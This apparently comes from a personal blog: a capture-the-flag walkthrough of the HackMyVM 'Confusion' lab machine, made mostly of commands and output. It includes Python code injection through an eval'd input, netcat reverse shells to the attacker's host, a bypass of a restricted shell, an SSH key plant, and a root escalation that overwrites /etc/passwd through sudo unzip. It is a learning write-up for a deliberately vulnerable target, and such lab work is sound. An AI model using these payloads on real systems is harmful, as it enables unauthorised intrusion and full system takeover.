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一切生活中的杂七杂八, and I like CTF.

HackMyVm Confusion Walkthrough

HackMyVm Confusion Walkthrough

https://hackmyvm.eu/machines/machine.php?vm=Confusion


Scan ports.

 ~ nmap -sV -sC -p- 192.168.56.100  -oN ports.log    
 Starting Nmap 7.91 ( https://nmap.org ) at 2021-10-29 15:59 CST
 Nmap scan report for 192.168.56.100
 Host is up (0.0040s latency).
 Not shown: 65533 closed ports
 PORT      STATE SERVICE VERSION
 22/tcp    open  ssh     OpenSSH 8.4p1 Debian 5 (protocol 2.0)
 32145/tcp open  unknown
 | fingerprint-strings:
 |   DNSStatusRequestTCP, DNSVersionBindReqTCP, GetRequest, NULL, SSLSessionReq, TLSSessionReq, TerminalServerCookie:
 |     Welcome To The My Magic World
 |     many times you want to ping?:
 ...


Use nc to connect port 32145.

 ~ nc 192.168.56.100 32145                 
 Welcome To The My Magic World
 
 How many times you want to ping?: 2
 PING localhost(localhost (::1)) 56 data bytes
 64 bytes from localhost (::1): icmp_seq=1 ttl=64 time=0.086 ms
 64 bytes from localhost (::1): icmp_seq=2 ttl=64 time=0.035 ms


If we input some invalid number, we will get error msg.

 ~ nc 192.168.56.100 32145                  
 Welcome To The My Magic World
 
 How many times you want to ping?: 12;
 Traceback (most recent call last):
   File "/opt/ping.py", line 7, in <module>
     no_of_packets = int(input("How many times you want to ping?: "))
   File "<string>", line 1
     12;
       ^
 SyntaxError: unexpected EOF while parsing
 ^C⏎                                          


If we input some evil code, we can make it run.

 ~ nc 192.168.56.100 32145
 Welcome To The My Magic World
 
 How many times you want to ping?: __import__("os").system("id")
 uid=1002(iamroot) gid=1002(iamroot) groups=1002(iamroot)
 PING localhost(localhost (::1)) 56 data bytes


So we can get reverse shell.

 ~ nc 192.168.56.100 32145       
 Welcome To The My Magic World
 
 How many times you want to ping?: __import__("os").system("nc 192.168.56.150 1234 -e /bin/bash")
 ──────────────────────────────────────────────────────────────────────────────────
 ~ nc -nlvp 1234                          
 Ncat: Version 7.91 ( https://nmap.org/ncat )
 Ncat: Listening on :::1234
 Ncat: Listening on 0.0.0.0:1234
 Ncat: Connection from 192.168.56.100.
 Ncat: Connection from 192.168.56.100:39196.
 id  
 uid=1002(iamroot) gid=1002(iamroot) groups=1002(iamroot)


Spawn an interactive shell.

 python3 -c 'import pty;pty.spawn("/bin/bash")'
 iamroot@confusion:/$ id
 id
 uid=1002(iamroot) gid=1002(iamroot) groups=1002(iamroot)
 iamroot@confusion:/$


Upload id_rsa.pub to get ssh login as iamroot.

 iamroot@confusion:~/.ssh$ wget http://192.168.56.150/id_rsa.pub -O authorized_keys


We found 3 users, and check sudo -l.

 iamroot@confusion:/home$ ls -la
 ls -la
 total 20
 drwxr-xr-x  5 root    root    4096 Oct 25 08:44 .
 drwxr-xr-x 18 root    root    4096 Oct 25 06:02 ..
 drwxr-xr-x  2 iamroot iamroot 4096 Oct 25 15:16 iamroot
 drwxr-xr-x  3 sammy   sammy   4096 Oct 25 14:56 sammy
 drwxr-xr-x  2 still   still   4096 Oct 25 14:56 still
 iamroot@confusion:/home$ sudo -l
 sudo -l
 Matching Defaults entries for iamroot on confusion:
     env_reset, mail_badpass,
     secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
 
 User iamroot may run the following commands on confusion:
     (!root) NOPASSWD: /bin/bash


But no matter what I input, still need input password.

Then we check the ssh login msg of user still.

 ~ ssh still@192.168.56.100   
 Have you ever thought?
      If
  Cindrella's
    Shoe Fit
   Perfectly
    Then Why
   Did It Fall
     Off?
 still:confused?
 Then go for Port 32145 :)


The default shell has been modified for still.

 iamroot@confusion:/home$ cat /etc/passwd 
 ...
 still:x:1001:1001::/home/still:/home/still/SoMuchConfusion


We can check the source code of /home/still/SoMuchConfusion.

 iamroot@confusion:/home$ su still
 Password:
 Welcome To My Secret Most Secure Shell :p
 cat /home/still/SoMuchConfusion
 #!/bin/bash echo "Welcome To My Secret Most Secure Shell :p" read secure_shell if [[ $secure_shell == "id" ]] then echo "uid=0(root) gid=0(root) groups=0(root)" elif [[ $secure_shell == "whoami" ]] then echo "root" elif [[ $secure_shell =
 = "python3" ]] then echo `$secure_shell` elif [[ $secure_shell =~ ^nc* || $secure_shell =~ ^bash* || $secure_shell =~ ^python* ]] then echo "Smooooooth Hehe :p" elif [[ -z $secure_shell ]] then echo "Bye-Bye" else echo `$secure_shell` com
 mand not found fi command not found  


So we need to bypass the blacklist to get a shell as user still. Here I choose /usr/bin/dash.

 iamroot@confusion:/home$ su still
 Password:
 Welcome To My Secret Most Secure Shell :p
 /usr/bin/dash -i
 $ nc 192.168.56.150 1234 -e /bin/bash
 ───────────────────────────────────────────────────
 ~ nc -nlvp 1234      
 Ncat: Version 7.91 ( https://nmap.org/ncat )
 Ncat: Listening on :::1234
 Ncat: Listening on 0.0.0.0:1234
 Ncat: Connection from 192.168.56.100.
 Ncat: Connection from 192.168.56.100:39226.
 id
 uid=1001(still) gid=1001(still) groups=1001(still)


Spawn interactive shell again, and check sudo -l.

 still@confusion:~$ sudo -l                                                       
 sudo -l                                                                          
 Matching Defaults entries for still on confusion:                                
     env_reset, mail_badpass,                                                    
     secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
                                                                                 
 User still may run the following commands on confusion:                          
     (sammy) NOPASSWD: /usr/bin/python3 /opt/password.py                          


Run it, we get an encrypted string.

 still@confusion:~$ sudo -u sammy /usr/bin/python3 /opt/password.py
 sudo -u sammy /usr/bin/python3 /opt/password.py
 QWJCYXJQbmFQZW5weFpsQ25mZmpiZXEK


Try to decrypt it with ROT13. Then we can login as user sammy.

 ~ ssh sammy@192.168.56.100    ...
 sammy@192.168.56.100's password:
 sammy@confusion:~$ id
 uid=1000(sammy) gid=1000(sammy) groups=1000(sammy),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),112(bluetooth)


Check sudo -l.

 sammy@confusion:~$ sudo -l
 Matching Defaults entries for sammy on confusion:
     env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
 
 User sammy may run the following commands on confusion:
     (root) NOPASSWD: /usr/bin/unzip


Then we can modify /etc/passwd, zip it, and unzip it back to /etc.

 sammy@confusion:~$ cp /etc/passwd ./
 sammy@confusion:~$ openssl passwd 123
 fpjdFvRQf46EA
 sammy@confusion:~$ echo "root2:fpjdFvRQf46EA:0:0:root:/root:/bin/bash" >> passwd
 sammy@confusion:~$ zip passwd.zip passwd
   adding: passwd (deflated 63%)
 sammy@confusion:~$ sudo unzip passwd.zip -d /etc
 Archive:  passwd.zip
   inflating: /etc/etc/passwd        
 replace /etc/passwd? [y]es, [n]o, [A]ll, [N]one, [r]ename: y
   inflating: /etc/passwd


Finally get root.

 sammy@confusion:~$ su root2
 Password:
 root@confusion:/home/sammy# id;hostname
 uid=0(root) gid=0(root) groups=0(root)
 confusion




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